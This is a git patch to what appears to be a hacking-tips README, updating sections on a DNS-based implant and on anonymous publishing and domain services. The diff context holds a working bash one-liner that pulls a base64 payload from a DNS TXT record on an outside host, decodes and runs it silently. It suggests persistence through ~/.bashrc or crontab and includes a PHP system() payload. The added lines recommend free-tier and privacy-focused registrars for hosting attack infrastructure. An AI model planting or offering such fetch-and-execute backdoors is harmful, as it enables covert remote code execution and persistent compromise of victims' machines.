From a4f11c24876576205bf137799cee707648da51e7 Mon Sep 17 00:00:00 2001
From: skyper <5938498+SkyperTHC@users.noreply.github.com>
Date: Tue, 25 Feb 2025 09:39:33 +0000
Subject: [PATCH] Update README.md
---
README.md | 12 ++++++++----
1 file changed, 8 insertions(+), 4 deletions(-)
diff --git a/README.md b/README.md
index d39ba58..6b06a4e 100644
--- a/README.md
+++ b/README.md
@@ -1850,13 +1850,15 @@ echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
- The DNS TXT payload is limited to 2,048 characters (sometimes 65,535 characters).
- The implant is a `bootloader`. Use a while loop to download and execute larger paypload via DNS.
-- Check out our favorite places to [register a domain anonymously](#pub):
+- Check out our favorite places to [register a domain anonymously](#pub). [Cloudflare's](https://www.cloudflare.com) Free-Tier is a good start.
Can also be triggered via `~/.bashrc` or the user's crontab. Use (example):
```shell
# Use a "double bash" to redirect _also_ $()-subshell error to /dev/null:
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ \"|base64 -d);}"'&>/dev/null
```
+(the example payload creates `/tmp/.b00m` and notifies us via another DNS request to [interactsh](https://interactsh.com).
+
**6.vii. Local Root Backdoor**
@@ -2620,12 +2622,14 @@ Exfil
Publishing
1. [free BT/DC/eD2k seedbox](https://valdikss.org.ru/schare/)
-1. Or use /onion on [segfault.net](https://www.thc.org/segfault) or plain old https with ngrok.
+1. Or use /onion on [segfault.net](https://www.thc.org/segfault) or plain old https with ngrok
+2. [Cloudflare](https://www.cloudflare.com) - The Free-Tier allows most things (dns + domains + tunnels).
+1. [Njal.la](https://njal.la) - Privacy focused Domain Registrar
1. [DuckDNS](https://www.duckdns.org/) - Free Domain Names
1. [AnonDNS](https://anondns.net/) - Free Domain Name (anonymous)
1. [afraid.org](https://www.afraid.org) - Free Dynamic DNS for your domain
-2. [hostwinds](https://hostwinds.com) - Pay with crypto
-3. [unstoppable domains](https://unstoppabledomains.com) - Pay with crypto
+1. [hostwinds](https://hostwinds.com) - Pay with crypto
+1. [unstoppable domains](https://unstoppabledomains.com) - Pay with crypto
1. [he.net](https://dns.he.net/) - Free Nameserver service
1. [0bin](https://0bin.net/) / [paste.ec](https://paste.ec) - Encrypted PasteBin
1. [pad.riseup.net](https://pad.riseup.net) - Create documents and share them securely